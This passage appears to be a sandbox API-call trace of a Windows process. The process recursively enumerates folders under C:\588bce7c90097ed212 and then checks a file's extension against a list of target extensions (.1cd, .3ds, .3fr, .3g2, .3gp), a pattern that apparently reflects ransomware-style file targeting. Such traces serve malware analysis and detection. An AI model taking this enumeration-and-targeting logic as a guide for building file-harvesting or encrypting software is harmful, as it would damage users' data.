lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.947] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.947] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.947] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.947] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.947] FindClose (in: hFindFile=0x7a18f0 | out: hFindFile=0x7a18f0) returned 1 [0194.947] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.947] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.948] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.948] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1d30 [0194.948] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.948] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.948] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.948] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.948] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.948] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0194.948] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.948] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.948] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.949] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1b70 [0194.949] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.949] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.949] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.949] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.949] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.949] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.949] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.949] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.949] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.949] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0194.950] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.950] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.950] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.950] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.950] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.950] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0194.950] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.950] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.950] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.950] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0194.951] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.951] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.951] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.951] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.951] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.951] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0194.951] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.951] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.951] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.951] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1b70 [0194.952] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.952] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.952] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.952] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.952] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.953] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.953] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.953] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.953] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.953] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1d30 [0194.953] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.953] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.953] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.953] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.953] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.954] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0194.954] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.954] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.954] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.954] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1d30 [0194.954] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.954] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.954] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.954] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.954] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.954] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0194.955] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.955] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.955] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.955] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1f70 [0194.955] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.955] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.955] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.955] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.955] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.955] FindClose (in: hFindFile=0x7a1f70 | out: hFindFile=0x7a1f70) returned 1 [0194.984] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.984] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.985] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.985] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1b70 [0194.985] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.985] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.985] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.985] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.986] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.986] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.986] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.986] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.986] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.986] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1b70 [0194.986] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.986] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.987] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.987] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.987] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.987] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.987] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.987] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.987] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.987] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1b70 [0194.988] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.988] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.988] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.988] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.988] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.988] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.988] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.988] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.988] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.988] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0194.989] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.989] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.989] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.989] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.989] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.989] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0194.989] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.989] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.989] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.989] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0194.990] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.990] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.990] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.990] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.990] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.990] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0194.990] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.991] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.991] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.991] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0195.469] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.469] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.469] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.469] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.469] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.469] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.470] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.470] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.470] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.470] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a18f0 [0195.470] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.470] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.470] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.470] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.470] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.470] FindClose (in: hFindFile=0x7a18f0 | out: hFindFile=0x7a18f0) returned 1 [0195.471] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.471] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.471] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.471] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1870 [0195.471] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.471] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.471] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.471] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.471] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.471] FindClose (in: hFindFile=0x7a1870 | out: hFindFile=0x7a1870) returned 1 [0195.471] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.472] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.472] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.472] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1d30 [0195.472] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.472] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.472] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.472] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.472] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.472] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0195.472] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.472] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.473] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.473] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1d30 [0195.473] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.473] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.473] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.473] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.473] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.473] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0195.473] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.473] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.474] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.474] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1d30 [0195.474] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.474] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.474] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.474] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.474] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0195.474] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.474] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.474] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.475] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.475] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.475] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a18f0 [0195.475] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.475] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.475] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.475] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.475] FindClose (in: hFindFile=0x7a18f0 | out: hFindFile=0x7a18f0) returned 1 [0195.475] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.475] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.476] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.476] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1fb0 [0195.592] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.592] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.592] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.592] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.592] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.592] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.593] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.593] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.593] lstrlenW (lpString="Rotate6.ico") returned 11 [0195.593] lstrlenW (lpString=".1cd") returned 4 [0195.593] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.593] lstrlenW (lpString=".3ds") returned 4 [0195.593] lstrcmpiW (lpString1=".3ds", lpString2=".ico") returned -1 [0195.593] lstrlenW (lpString=".3fr") returned 4 [0195.593] lstrcmpiW (lpString1=".3fr", lpString2=".ico") returned -1 [0195.593] lstrlenW (lpString=".3g2") returned 4 [0195.593] lstrcmpiW (lpString1=".3g2", lpString2=".ico") returned -1 [0195.593] lstrlenW (lpString=".3gp") returned 4 [0195.593] lstrcmpiW (lpString1=".3gp", lpString2=".ico") returned -1 